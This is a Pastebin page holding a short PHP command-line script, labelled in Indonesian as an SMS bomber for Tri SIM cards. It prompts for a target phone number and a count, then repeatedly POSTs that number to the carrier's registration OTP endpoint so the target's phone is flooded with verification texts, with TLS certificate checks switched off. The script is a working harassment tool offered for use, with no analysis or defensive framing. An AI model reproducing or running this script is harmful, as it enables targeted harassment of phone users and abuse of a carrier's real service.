Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "
- ============================================
- Bom Sms Khusu Kartu Tri
- Script by: orie
- ============================================
- ";
- echo"
- =============================================
- Nomer Tujuan: ";
- $nomer=trim(fgets(STDIN));
- echo"
- =============================================
- Jumlah: ";
- $Jumlah=trim(fgets(STDIN));
- function curl($url, $post = false, $data = null) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_TIMEOUT, 10);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
- if($post) {
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- }
- $curl['exec'] = curl_exec($ch);
- $curl['info'] = curl_getinfo($ch);
- return [
- "info" => $curl['info'],
- "response" => $curl['exec']
- ];
- curl_close($ch);
- }
- for($i=1;$i <= $Jumlah;$i++){
- $post = curl("https://registrasi.tri.co.id/daftar/generateOTP", TRUE, "msisdn=$nomer")['response'];
- print "$i $post \n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment